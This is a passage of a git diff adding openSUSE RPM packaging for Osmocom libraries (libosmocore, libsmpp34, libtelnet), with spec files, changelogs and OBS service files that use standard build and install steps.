+- Update to new upstream release 0.10.2
+ * GPRS: print remote state info for NS peer
+ * ctrl: allow more nodes than those in enum ctrl_node_type
+ * fsm: Enforce FSM and FSM instance names are valid osmocom
+ identifiers
+ * rate_ctr: Enforce counter (and ctr_group) names are valid
+ identifiers
+ * Convert lib-internal rate_ctr from '.' separator to ':'
+ separator
+ * GPRS: add vty command to show only persistent NS
+
+-------------------------------------------------------------------
+Mon Oct 2 22:37:48 UTC 2017 - jengelh@inai.de
+
+- Update to new upstream snapshot 0.9.6.400
+ * vty: install 'exit', 'end',... commands on *all* nodes
+ * osmo-auc-gen: umts: add --ind-len arg
+ * osmo-auc-gen: umts: add --ind arg
+ * Add osmo_gprs_{ul,dl}_block_size_{bits,bytes} functions
+ * BSSGP: add function to reset all PTP BVC
+ * GSUP: define default GSUP port as 4222
+ * gsup: Add encoding/decoding for the pdp charging characteristics
+ * Add missing BSSGP cause values
+ * gsm0808: fix length check of the element decoder functions
+ * Add header file with definitions for GSM TS 04.14 / 3GPP TS 44.014
+ * Fix wrongful GSM FR codec SID frame detection in DTX.
+ * Distinguish between unsupported and invalid MCS
+
+-------------------------------------------------------------------
+Fri Apr 28 20:26:26 UTC 2017 - jengelh@inai.de
+
+- Update to new upstream snapshot 0.9.6.193
+ * fix: DLGSUP logging category "unusable"
+ * ph_data_param struct changed / Extend L1SAP PH-DATA with
+ measurement information.
+ * Size of ph_tch_param struct changed / Extend with RTP Marker
+ * Size of struct log_target changed / Extend with GSMTAP
+ * Internal API for GPRS cipher implementors updated to
+ accommodate for arbitrary key lengths.
+ * Extend L1SAP PH-DATA with presence information
+ * Fix the counter index after the NS reset.
+ * Fix rate_ctr attribute for GPRS NS counters.
+- Remove test.diff (no longer applicable)
+
+-------------------------------------------------------------------
+Sat Jul 30 16:02:05 UTC 2016 - jengelh@inai.de
+
+- Update to new upstream snapshot 0.9.0.212
+* Add support for SI2quater messages
+* Add basic EARFCN support
+* Add vty command to explicitly reset given BVCI
+* Add function to make Uplink Measurement
+* Add GEA3 & GEA4 ciphers
+
+-------------------------------------------------------------------
+Fri Mar 11 01:39:12 UTC 2016 - jengelh@inai.de
+
+- reenable bigendian builds as GSM IE code was fixed upstream
+ during 2015
+- Update to new upstream snapshot 0.9.0.91
+* log: Add conditional logging based on log_check_level
+* Add byte printing macros
+* vty: add bind command for telnet vty line
+
+-------------------------------------------------------------------
+Fri Jan 22 18:08:57 UTC 2016 - jengelh@inai.de
+
+- Update to new upstream snapshot 0.9.0.58
+* Add bitvector functions and APN conversion functions
+- Add test.diff to resolve compiler warning
+
+-------------------------------------------------------------------
+Wed Dec 23 17:19:46 UTC 2015 - jengelh@inai.de
+
+- Update to new upstream release 0.9.0
+* ipaccess: add OAP proto_ext (in design).
+* stats: Report stat item values
+* stats: Implement timer based reporting
+* stats/vty: Add stats configuration
+* stat/vty: Add vty_out_statistics_full to show all statistics
+* stats: Add vty_out_stat_item_group
+* LaPDm: Refuse SUSPEND/RESUME/RECONNECT in BTS mode
+* ns: Force a defined state when sending NS RESET
+- Drop osmo-symbols.diff (solved better upstream),
+ osmo-talloc.diff, osmo-talloc2.diff, osmo-talloc3.diff (solved
+ upstream)
+
+-------------------------------------------------------------------
+Thu Sep 10 21:13:26 UTC 2015 - jengelh@inai.de
+
+- Update to new upstream release 0.8.3
+* Add G-RNTI derived TLLI types defined in 23.003
+* vty: Change API to have node installation be done by int
+* ipa: Properly parse LV stream of a ID_GET request
+* Add APN utility function to libosmogsm
+* gsm: Add A5/3-4 cipher support
+* bssgp: Handle BSSGP STATUS messages
+- Add osmo-symbols.diff
+
+-------------------------------------------------------------------
+Sun Mar 1 01:10:34 UTC 2015 - jengelh@inai.de
+
+- Update to new upstream release 0.8.0
+* new Osmocom SIM card library
+- Remove 0001-utils-resolve-compiler-warnings-on-implicit-declarat.patch,
+ libosmocore_0_7_0_avoid_smscb_test_failure.patch,
+ osmo-kasumi.diff, osmo-version.diff (no longer needed x4),
+ rework osmo-talloc2.diff and add osmo-talloc3.diff after upstream
+ conversion. Add osmo-pkgconfig.diff.
+
+-------------------------------------------------------------------
+Wed Feb 18 16:07:32 UTC 2015 - normand@linux.vnet.ibm.com
+
+- remove the previous patch about ppc/ppc64 architectures
+ as upstream suggesting that known to be not supported
+ so explicitely add ExcludeArch in spec file.
+
+-------------------------------------------------------------------
+Wed Feb 18 09:05:16 UTC 2015 - normand@linux.vnet.ibm.com
+
+- avoid smscb test failure on ppc/ppc64 architectures
+ with libosmocore_0_7_0_avoid_smscb_test_failure.patch
+
+-------------------------------------------------------------------
+Thu Oct 2 20:05:34 UTC 2014 - jengelh@inai.de
+
+- Update to new upstream release 0.7.0
+* No changelog was provided
+* osmocore gained GPRS NS interface support, and now provides a
+ control interface library (libosmoctrl)
+- Add osmo-kasumi.diff to fix link failure during `make check`
+
+-------------------------------------------------------------------
+Mon Jul 21 07:51:35 UTC 2014 - jengelh@inai.de
+
+- Update to new upstream release 0.6.6
+* No changelog was provided
+- Remove 0001-osmo-arfcn-Return-something-from-the-method.patch,
+ 0002-utils-avoid-breaking-strict-aliasing.patch (no longer needed)
+
+-------------------------------------------------------------------
+Sun Jun 2 23:08:13 UTC 2013 - jengelh@inai.de
+
+- Update to new upstream release 0.6.0
+* No changelog was provided
+- Add 0001-osmo-arfcn-Return-something-from-the-method.patch
+ from upstream to provide fix for rpmlint errors
+- Add 0001-utils-resolve-compiler-warnings-on-implicit-declarat.patch,
+ 0002-utils-avoid-breaking-strict-aliasing.patch to fix rpmlint
+ warnings
+
+-------------------------------------------------------------------
+Sun Feb 17 19:17:54 UTC 2013 - jengelh@inai.de
+
+- Initial package (version 0.5.3) for build.opensuse.org
+
+-------------------------------------------------------------------
+Mon Oct 10 12:14:16 UTC 2011 - jengelh@medozas.de
+
+- Initial prototype (version 0.3.10)
diff --git a/rpm-local/spec/libosmocore/libosmocore.spec b/rpm-local/spec/libosmocore/libosmocore.spec
new file mode 100644
index 0000000..8d1ec82
--- /dev/null
+++ b/rpm-local/spec/libosmocore/libosmocore.spec
@@ -0,0 +1,460 @@
+#
+# spec file for package libosmocore
+#
+# Copyright (c) 2018 SUSE LINUX GmbH, Nuernberg, Germany.
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+
+%define version_unconverted 1.3.0.76
+
+Name: libosmocore
+Version: 1.3.0.76
+Release: 0
+Summary: The Open Source Mobile Communications Core Library
+License: GPL-2.0-only AND GPL-2.0-or-later AND LGPL-2.1-or-later AND AGPL-3.0-or-later
+Group: Productivity/Telephony/Utilities
+Url: https://osmocom.org/projects/libosmocore/wiki/Libosmocore
+Source: %name-%version.tar.xz
+BuildRequires: automake >= 1.6
+BuildRequires: libtool >= 2
+BuildRequires: lksctp-tools-devel
+BuildRequires: pkg-config >= 0.20
+BuildRequires: python2
+BuildRequires: xz
+BuildRequires: pkgconfig(gnutls) >= 2.12.0
+BuildRequires: pkgconfig(libpcsclite)
+BuildRequires: pkgconfig(libusb-1.0)
+BuildRequires: pkgconfig(talloc) >= 2.0.1
+
+%description
+libosmocore is a package with various utility functions that were
+originally developed as part of the OpenBSC project, but which are of
+a more generic nature and thus useful to (at least) other programs
+that Osmocom develops w.r.t. mobile communications.
+
+There is no clear scope of it. It simply houses all code shared
+between OsmocomBB and OpenBSC to avoid code duplication.
+
+%package tools
+Summary: GSM utilities from the osmocore project
+License: GPL-2.0-only AND GPL-2.0-or-later AND LGPL-3.0-or-later AND AGPL-3.0-or-later
+Group: Productivity/Telephony/Utilities
+Provides: %name-utils = %version-%release
+
+%description tools
+libosmocore is a package with various utility functions that were
+originally developed as part of the OpenBSC project.
+
+This package contains a program for frequency calculation for GSM
+called "osmo-arfcn", and a program called "osmo-auc-gen" that is used
+for testing GSM authentication.
+
+%package -n libosmocodec0
+Summary: GSM 06.10, 06.20, 06.60, 06.90 codec library
+License: GPL-2.0-or-later
+Group: System/Libraries
+
+%description -n libosmocodec0
+The libosmocodec library contains an implementation of multiple
+GSM codecs:
+
+* GSM 06.10 Full Rate (FR) codec
+* GSM 06.20 Half Rate (HR) codec
+* GSM 06.60 Enhanced Full Range (EFR) codec
+* GSM 06.90 Adaptive Multi-Rate (AMR) codec
+
+%package -n libosmocodec-devel
+Summary: Development files for the Osmocom GSM codec library
+License: GPL-2.0-or-later
+Group: Development/Libraries/C and C++
+Requires: libosmocodec0 = %version
+
+%description -n libosmocodec-devel
+The libosmocodec library contains an implementation of multiple
+GSM codecs.
+
+This subpackage contains libraries and header files for developing
+applications that want to make use of libosmocodec.
+
+%package -n libosmocoding0
+Summary: GSM/GPRS/EDGE transcoding routines library
+License: GPL-2.0-or-later
+Group: System/Libraries
+
+%description -n libosmocoding0
+libosmocoding is a library which provides GSM, GPRS and EDGE
+transcoding routines.
+
+The following data types are currently supported: xCCH, PDTCH (CS 1-4
+and MCS 1-9), TCH/FR, TCH/HR, TCH/AFS, RCH/AHS, RACH and SCH.
+
+%package -n libosmocoding-devel
+Summary: Development files for the Osmocom transcoding library
+License: GPL-2.0-or-later
+Group: Development/Libraries/C and C++
+Requires: libosmocodec-devel = %version
+Requires: libosmocoding0 = %version
+Requires: libosmocore-devel = %version
+Requires: libosmogsm-devel = %version
+
+%description -n libosmocoding-devel
+libosmocoding is a library which provides GSM, GPRS and EDGE
+transcoding routines.
+
+This subpackage contains libraries and header files for developing
+applications that want to make use of libosmocoding.
+
+%package -n libosmocore12
+Summary: Osmocom core library
+# crc16.c has GPL2-only clauses, the rest (*.c) is GPL-2.0+
+License: GPL-2.0-only AND GPL-2.0-or-later
+Group: System/Libraries
+
+%description -n libosmocore12
+libosmocore is a library with various utility functions shared
+between OpenBSC and OsmocomBB.
+
+%package -n libosmocore-devel
+Summary: Development files for the Osmocom core library
+# crc16.h has GPL2-only clauses, the rest (*.h) is GPL-2.0+
+License: GPL-2.0-only AND GPL-2.0-or-later
+Group: Development/Libraries/C and C++
+Requires: libosmocore12 = %version
+Requires: libtalloc-devel
+
+%description -n libosmocore-devel
+libosmocore is a library with various utility functions shared
+between OpenBSC and OsmocomBB.
+
+This subpackage contains libraries and header files for developing
+applications that want to make use of libosmocore.
+
+%package -n libosmoctrl0
+Summary: Osmocom SNMP-like control interface library
+License: GPL-2.0-or-later
+Group: System/Libraries
+
+%description -n libosmoctrl0
+libosmocore is a package with various utility functions that were
+originally developed as part of the OpenBSC project.
+
+libosmoctrl is an SNMP-like control interface. In contrast to the VTY
+interface, the control interface is meant to be used by programs.
+
+%package -n libosmoctrl-devel
+Summary: Osmocom control interface library
+License: GPL-2.0-or-later
+Group: Development/Libraries/C and C++
+Requires: libosmocore-devel = %version
+Requires: libosmoctrl0 = %version
+Requires: libosmogsm-devel = %version
+
+%description -n libosmoctrl-devel
+libosmoctrl is an SNMP-like control interface. In contrast to the VTY
+interface, the control interface is meant to be used by programs.
+
+This subpackage contains libraries and header files for developing
+applications that want to make use of libosmoctrl.
+
+%package -n libosmogb9
+Summary: Osmocom GPRS Gb Interface (NS/BSSGP) library
+License: AGPL-3.0-or-later
+Group: System/Libraries
+
+%description -n libosmogb9
+libosmocore is a package with various utility functions that were
+originally developed as part of the OpenBSC project.
+
+The libosmogb library contains a GPRS BSSGP protocol implementation.
+
+%package -n libosmogb-devel
+Summary: Development files for the Osmocom GPRS Gb interface library
+License: AGPL-3.0-or-later
+Group: Development/Libraries/C and C++
+Requires: libosmocore-devel = %version
+Requires: libosmogb9 = %version
+Requires: libosmovty-devel = %version
+
+%description -n libosmogb-devel
+The libosmogb library contains a GPRS BSSGP protocol implementation.
+
+This subpackage contains libraries and header files for developing
+applications that want to make use of libosmogb.
+
+%package -n libosmogsm13
+Summary: Osmocom GSM utility library
+License: GPL-2.0-or-later AND AGPL-3.0-or-later
+Group: System/Libraries
+
+%description -n libosmogsm13
+libosmocore is a package with various utility functions that were
+originally developed as part of the OpenBSC project.
+
+The libosmogsm library in particular is a collection of common code
+used in various GSM related sub-projects inside the Osmocom family of
+projects. It includes A5/1 and A5/2 ciphers, COMP128v1, a LAPDm
+implementation, a GSM TLV parser, SMS utility routines as well as
+protocol definitions for a series of protocols.
+
+%package -n libosmogsm-devel
+Summary: Development files for the Osmocom GSM utility library
+License: GPL-2.0-or-later AND AGPL-3.0-or-later
+Group: Development/Libraries/C and C++
+Requires: libosmocore-devel = %version
+Requires: libosmogsm13 = %version
+
+%description -n libosmogsm-devel
+The libosmogsm library in particular is a collection of common code
+used in various GSM related sub-projects inside the Osmocom family of
+projects. It includes A5/1 and A5/2 ciphers, COMP128v1, a LAPDm
+implementation, a GSM TLV parser, SMS utility routines as well as
+protocol definitions for a series of protocols.
+
+This subpackage contains libraries and header files for developing
+applications that want to make use of libosmogsm.
+
+%package -n libosmosim0
+Summary: Osmocom SIM card related utility library
+License: GPL-2.0-or-later
+Group: System/Libraries
+
+%description -n libosmosim0
+libosmocore is a package with various utility functions that were
+originally developed as part of the OpenBSC project.
+
+The libosmosim library in particular contains routines for SIM card
+access.
+
+%package -n libosmosim-devel
+Summary: Development files for the Osmocom SIM card utility library
+License: GPL-2.0-or-later
+Group: Development/Libraries/C and C++
+Requires: libosmocore-devel = %version
+Requires: libosmosim0 = %version
+
+%description -n libosmosim-devel
+The libosmosim library in particular contains routines for SIM card
+access.
+
+This subpackage contains libraries and header files for developing
+applications that want to make use of libosmosim.
+
+%package -n libosmovty4
+Summary: Osmocom VTY interface library
+License: GPL-2.0-or-later
+Group: System/Libraries
+
+%description -n libosmovty4
+libosmocore is a package with various utility functions that were
+originally developed as part of the OpenBSC project.
+
+The libosmovty library implements the interactive command-line on the
+VTY (Virtual TTY), as well as configuration file parsing.
+
+%package -n libosmovty-devel
+Summary: Development files for the Osmocom VTY interface library
+License: GPL-2.0-or-later
+Group: Development/Libraries/C and C++
+Requires: libosmocore-devel = %version
+Requires: libosmovty4 = %version
+
+%description -n libosmovty-devel
+The libosmovty library implements the interactive command-line on the
+VTY (Virtual TTY), as well as configuration file parsing.
+
+This subpackage contains libraries and header files for developing
+applications that want to make use of libosmovty.
+
+%package -n libosmousb0
+Summary: Osmocom USB library
+License: GPL-2.0-or-later
+Group: System/Libraries
+
+%description -n libosmousb0
+libosmocore is a package with various utility functions that were
+originally developed as part of the OpenBSC project.
+
+The libosmosub library in particular contains routines for USB device
+access via libusb-1.0, integrated into the libosmocore select event loop.
+
+%package -n libosmousb-devel
+Summary: Development files for the Osmocom USB library
+License: GPL-2.0-or-later
+Group: Development/Libraries/C and C++
+Requires: libosmocore-devel = %version
+Requires: libosmousb0 = %version
+Requires: libusb-1_0-devel
+
+%description -n libosmousb-devel
+The libosmosub library in particular contains routines for USB device
+access via libusb-1.0, integrated into the libosmocore select event loop.
+
+This subpackage contains libraries and header files for developing
+applications that want to make use of libosmousb.
+
+
+%prep
+%setup -q
+
+%build
+echo "%version" >.tarball-version
+autoreconf -fiv
+%configure --enable-shared --disable-static \
+ --includedir="%_includedir/%name"
+make %{?_smp_mflags} V=1
+
+%install
+b="%buildroot"
+make %{?_smp_mflags} install DESTDIR="$b"
+find "$b/%_libdir" -type f -name "*.la" -delete
+
+%check
+make %{?_smp_mflags} check || (find . -name testsuite.log -exec cat {} +)
+
+%post -n libosmocodec0 -p /sbin/ldconfig
+%postun -n libosmocodec0 -p /sbin/ldconfig
+%post -n libosmocoding0 -p /sbin/ldconfig
+%postun -n libosmocoding0 -p /sbin/ldconfig
+%post -n libosmocore12 -p /sbin/ldconfig
+%postun -n libosmocore12 -p /sbin/ldconfig
+%post -n libosmoctrl0 -p /sbin/ldconfig
+%postun -n libosmoctrl0 -p /sbin/ldconfig
+%post -n libosmogb9 -p /sbin/ldconfig
+%postun -n libosmogb9 -p /sbin/ldconfig
+%post -n libosmogsm13 -p /sbin/ldconfig
+%postun -n libosmogsm13 -p /sbin/ldconfig
+%post -n libosmosim0 -p /sbin/ldconfig
+%postun -n libosmosim0 -p /sbin/ldconfig
+%post -n libosmovty4 -p /sbin/ldconfig
+%postun -n libosmovty4 -p /sbin/ldconfig
+%post -n libosmousb0 -p /sbin/ldconfig
+%postun -n libosmousb0 -p /sbin/ldconfig
+
+%files tools
+%defattr(-,root,root)
+%_bindir/osmo-*
+
+%files -n libosmocodec0
+%defattr(-,root,root)
+%_libdir/libosmocodec.so.0*
+
+%files -n libosmocodec-devel
+%defattr(-,root,root)
+%dir %_includedir/%name
+%dir %_includedir/%name/osmocom
+%_includedir/%name/osmocom/codec/
+%_libdir/libosmocodec.so
+%_libdir/pkgconfig/libosmocodec.pc
+
+%files -n libosmocoding0
+%defattr(-,root,root)
+%_libdir/libosmocoding.so.0*
+
+%files -n libosmocoding-devel
+%defattr(-,root,root)
+%dir %_includedir/%name
+%dir %_includedir/%name/osmocom
+%_includedir/%name/osmocom/coding/
+%_libdir/libosmocoding.so
+%_libdir/pkgconfig/libosmocoding.pc
+
+%files -n libosmocore12
+%defattr(-,root,root)
+%_libdir/libosmocore.so.12*
+
+%files -n libosmocore-devel
+%defattr(-,root,root)
+%dir %_includedir/%name
+%dir %_includedir/%name/osmocom
+%_includedir/%name/osmocom/core/
+%_libdir/libosmocore.so
+%_libdir/pkgconfig/libosmocore.pc
+%_datadir/aclocal/osmo_ax_code_coverage.m4
+%_datadir/aclocal/osmo_ac_code_coverage.m4
+
+%files -n libosmoctrl0
+%defattr(-,root,root)
+%_libdir/libosmoctrl.so.0*
+
+%files -n libosmoctrl-devel
+%defattr(-,root,root)
+%dir %_includedir/%name
+%dir %_includedir/%name/osmocom
+%_includedir/%name/osmocom/ctrl/
+%_libdir/libosmoctrl.so
+%_libdir/pkgconfig/libosmoctrl.pc
+
+%files -n libosmogb9
+%defattr(-,root,root)
+%_libdir/libosmogb.so.9*
+
+%files -n libosmogb-devel
+%defattr(-,root,root)
+%dir %_includedir/%name
+%dir %_includedir/%name/osmocom
+%_includedir/%name/osmocom/gprs/
+%_libdir/libosmogb.so
+%_libdir/pkgconfig/libosmogb.pc
+
+%files -n libosmogsm13
+%defattr(-,root,root)
+%_libdir/libosmogsm.so.13*
+
+%files -n libosmogsm-devel
+%defattr(-,root,root)
+%dir %_includedir/%name
+%dir %_includedir/%name/osmocom
+%_includedir/%name/osmocom/gsm/
+%_includedir/%name/osmocom/crypt/
+%_libdir/libosmogsm.so
+%_libdir/pkgconfig/libosmogsm.pc
+
+%files -n libosmosim0
+%defattr(-,root,root)
+%_libdir/libosmosim.so.0*
+
+%files -n libosmosim-devel
+%defattr(-,root,root)
+%dir %_includedir/%name
+%dir %_includedir/%name/osmocom/
+%_includedir/%name/osmocom/sim/
+%_libdir/libosmosim.so
+%_libdir/pkgconfig/libosmosim.pc
+
+%files -n libosmovty4
+%defattr(-,root,root)
+%_libdir/libosmovty.so.4*
+
+%files -n libosmovty-devel
+%defattr(-,root,root)
+%dir %_includedir/%name
+%dir %_includedir/%name/osmocom
+%_includedir/%name/osmocom/vty/
+%_includedir/%name/osmo-release.mk
+%_libdir/libosmovty.so
+%_libdir/pkgconfig/libosmovty.pc
+
+%files -n libosmousb0
+%defattr(-,root,root)
+%_libdir/libosmousb.so.0*
+
+%files -n libosmousb-devel
+%defattr(-,root,root)
+%dir %_includedir/%name
+%dir %_includedir/%name/osmocom
+%_includedir/%name/osmocom/usb/
+%_libdir/libosmousb.so
+%_libdir/pkgconfig/libosmousb.pc
+
+%changelog
diff --git a/rpm-local/spec/libsmpp34/_service b/rpm-local/spec/libsmpp34/_service
new file mode 100644
index 0000000..ebbfa12
--- /dev/null
+++ b/rpm-local/spec/libsmpp34/_service
@@ -0,0 +1,14 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/libsmpp34</param>
+ <param name="revision">master</param>
+ <param name="versionformat">@PARENT_TAG@.@TAG_OFFSET@</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/libsmpp34/_servicedata b/rpm-local/spec/libsmpp34/_servicedata
new file mode 100644
index 0000000..25f8d2d
--- /dev/null
+++ b/rpm-local/spec/libsmpp34/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/libsmpp34</param>
+ <param name="changesrevision">7dbf4bbe052da74875b350e13bcf62480f49f929</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/libsmpp34/libsmpp34.changes b/rpm-local/spec/libsmpp34/libsmpp34.changes
new file mode 100644
index 0000000..691700f
--- /dev/null
+++ b/rpm-local/spec/libsmpp34/libsmpp34.changes
@@ -0,0 +1,105 @@
+-------------------------------------------------------------------
+Tue Apr 14 20:00:48 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.14.0.1:
+ * configure.ac: fix libtool issue with clang and sanitizer
+
+-------------------------------------------------------------------
+Thu Aug 08 21:54:23 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.14.0.0:
+ * Bump version: 1.13.0.7-ffff → 1.14.0
+
+-------------------------------------------------------------------
+Sun Jul 21 20:00:59 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.13.0.7:
+ * bind_receiver_test: Fix "unused value" of writing addr_ton twice
+
+-------------------------------------------------------------------
+Thu Jul 11 20:01:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.13.0.6:
+ * contrib/jenkins.sh: run "make maintainer-clean"
+
+-------------------------------------------------------------------
+Thu Apr 11 20:00:46 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.13.0.5:
+ * Allow application to override default heap allocator
+ * configure.ac: enable kernel style compile messages
+
+-------------------------------------------------------------------
+Tue Nov 27 21:00:33 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.13.0.3:
+ * fix use of partly initialized struct in tcp test
+
+-------------------------------------------------------------------
+Tue Oct 30 21:00:42 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.13.0.2:
+ * esme.c: mark switch statement fall-thru for coverity
+
+-------------------------------------------------------------------
+Mon Sep 17 20:00:38 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.13.0.1:
+ * debian/rules: Don't overwrite .tarball-version
+
+-------------------------------------------------------------------
+Fri May 4 20:17:29 UTC 2018 - mardnh@gmx.de
+
+- soversion bump
+
+-------------------------------------------------------------------
+Thu May 03 20:00:42 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.13.0.0:
+ * src/Makefile.am: Use LIBVERSION variable to set version-info
+ * Bump version: 1.12.0.20-a637-dirty → 1.13.0
+
+-------------------------------------------------------------------
+Wed Mar 14 21:23:13 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.12.0.19:
+ * debian/rules: show testsuite.log when tests are failing
+ * jenkins: use osmo-clean-workspace.sh before and after build
+ * add --enable-sanitize config option
+ * Enable sanitize for CI tests
+ * debian/control: Fix Vcs-{Browser,Git} URLs
+ * binaries/Makefile.am: Fix parallel build issue
+ * jenkins: Enable parallel build and distcheck
+ * jenkins.sh: output all test logs when 'make check' failed
+ * configure: add --enable-werror
+ * jenkins.sh: use --enable-werror configure flag, not CFLAGS
+
+-------------------------------------------------------------------
+Sun Feb 11 13:01:21 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 1.12.0.16
+- Rebase patch:
+ - build-fixes.diff
+
+-------------------------------------------------------------------
+Sat Feb 10 20:21:50 UTC 2018 - mardnh@gmx.de
+
+- Show testsuite.log when tests are failing
+
+-------------------------------------------------------------------
+Wed Jan 24 12:59:51 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream snapshot 1.12.0.13
+
+-------------------------------------------------------------------
+Mon Oct 2 23:25:01 UTC 2017 - jengelh@inai.de
+
+- Update to new upstream snapshot 1.12.8
+ * Fix Out of bounds compilation warning in OCTET8
+ * smpp34_structs.h: Fix truncated output in str_tlv_id
+
+-------------------------------------------------------------------
+Sat Apr 29 18:15:07 UTC 2017 - jengelh@inai.de
+
+- Ship version 1.10.37 for build.opensuse.org
+- Add build-fixes.diff
diff --git a/rpm-local/spec/libsmpp34/libsmpp34.spec b/rpm-local/spec/libsmpp34/libsmpp34.spec
new file mode 100644
index 0000000..a6dd384
--- /dev/null
+++ b/rpm-local/spec/libsmpp34/libsmpp34.spec
@@ -0,0 +1,89 @@
+#
+# spec file for package libsmpp34
+#
+# Copyright (c) 2018 SUSE LINUX GmbH, Nuernberg, Germany.
+# Copyright (c) 2016, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+%define sover 1
+Name: libsmpp34
+Version: 1.14.0.1
+Release: 0
+Summary: PDU SMPP packaging and unpackaging tool
+License: GPL-2.0-or-later AND LGPL-2.1-or-later
+Group: Development/Libraries/C and C++
+URL: https://osmocom.org/projects/libsmpp34
+Source: %{name}-%{version}.tar.xz
+BuildRequires: autoconf >= 2.57
+BuildRequires: libtool
+BuildRequires: pkgconfig >= 0.20
+BuildRequires: pkgconfig(libxml-2.0)
+
+%description
+The library provides the PDU handling of the SMPP-3.4 protocol.
+
+%package -n libsmpp34-%{sover}
+Summary: SMPP-3.4 protocol library
+License: LGPL-2.1-or-later
+Group: System/Libraries
+
+%description -n libsmpp34-%{sover}
+This library provides the Protocol Data Unit (PDU) handling of the
+SMPP-3.4 protocol. SMPP (Short Message Peer-to-Peer) is a protocol
+providing a data communication interface for the transfer of short
+message data between External Short Messaging Entities, Routing
+Entitites and Message Centres.
+
+%package -n libsmpp34-%{sover}-devel
+Summary: Development files for the SMPP-3.4 protocol library
+License: GPL-2.0-or-later
+Group: Development/Libraries/C and C++
+Requires: libsmpp34-%{sover} = %{version}
+
+%description -n libsmpp34-%{sover}-devel
+The library provides the PDU handling of the SMPP-3.4 protocol.
+
+This subpackage contains libraries and header files for developing
+applications that want to make use of libsmpp34.
+
+%prep
+%setup -q
+
+%build
+echo "%{version}" >.tarball-version
+autoreconf -fi
+%configure --disable-static --includedir="%{_includedir}/%{name}"
+make %{?_smp_mflags}
+
+%install
+%make_install
+find %{buildroot} -type f -name "*.la" -delete -print
+
+%check
+make %{?_smp_mflags} check || (find . -name testsuite.log -exec cat {} +)
+
+%post -n libsmpp34-%{sover} -p /sbin/ldconfig
+%postun -n libsmpp34-%{sover} -p /sbin/ldconfig
+
+%files -n libsmpp34-%{sover}
+%{_libdir}/libsmpp34.so.%{sover}*
+
+%files -n libsmpp34-%{sover}-devel
+%license COPYING
+%doc ChangeLog
+%{_includedir}/%{name}/
+%{_libdir}/libsmpp34.so
+%{_libdir}/pkgconfig/*.pc
+
+%changelog
diff --git a/rpm-local/spec/libtelnet/_service b/rpm-local/spec/libtelnet/_service
new file mode 100644
index 0000000..329d998
--- /dev/null
+++ b/rpm-local/spec/libtelnet/_service
@@ -0,0 +1,12 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/libtelnet</param>
+ <param name="versionformat">0.0.0+git.%cd</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/libtelnet/libtelnet-rpmlintrc b/rpm-local/spec/libtelnet/libtelnet-rpmlintrc
new file mode 100644
index 0000000..9961190
--- /dev/null
+++ b/rpm-local/spec/libtelnet/libtelnet-rpmlintrc
@@ -0,0 +1 @@
+addFilter("libtelnet-utils.*: W: shlib-policy-missing-lib")
diff --git a/rpm-local/spec/libtelnet/libtelnet.changes b/rpm-local/spec/libtelnet/libtelnet.changes
new file mode 100644
index 0000000..9f3e727
--- /dev/null
+++ b/rpm-local/spec/libtelnet/libtelnet.changes
@@ -0,0 +1,15 @@
+-------------------------------------------------------------------
+Wed Mar 14 21:47:38 UTC 2018 - mardnh@gmx.de
+
+- Fix dependencies
+
+-------------------------------------------------------------------
+Thu Mar 8 22:00:02 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20180308
+- Removed not longer needed patches (fixed upstream)
+
+-------------------------------------------------------------------
+Thu Mar 8 15:38:50 UTC 2018 - mardnh@gmx.de
+
+- Initial package, version 0.0.0+git.20160413
diff --git a/rpm-local/spec/libtelnet/libtelnet.spec b/rpm-local/spec/libtelnet/libtelnet.spec
new file mode 100644
index 0000000..da7e90f
--- /dev/null
+++ b/rpm-local/spec/libtelnet/libtelnet.spec
@@ -0,0 +1,121 @@
+#
+# spec file for package libtelnet
+#
+# Copyright (c) 2018, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
